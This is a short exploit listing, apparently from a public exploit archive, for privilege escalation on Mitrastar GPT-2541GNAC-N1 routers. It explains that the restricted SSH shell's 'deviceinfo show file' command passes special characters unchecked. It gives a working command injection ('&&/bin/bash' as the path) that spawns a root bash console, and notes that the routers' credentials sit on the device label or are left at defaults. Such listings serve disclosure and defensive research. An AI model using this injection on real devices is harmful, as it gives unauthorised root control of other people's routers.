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1.1 KiB
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23 lines
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1.1 KiB
Text
# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
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# Date: 10-08-2021
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# Exploit Author: Leonardo Nicolas Servalli
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# Vendor Homepage: www.mitrastar.com
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# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
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# Tested on: Firmware BR_g3.5_100VNZ0b33
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# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md
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Description:
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# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).
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# The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:
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Exploit:
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--------
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> deviceinfo show file &&/bin/bash
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# This command will spawn a full interoperable bash console with root privileges. |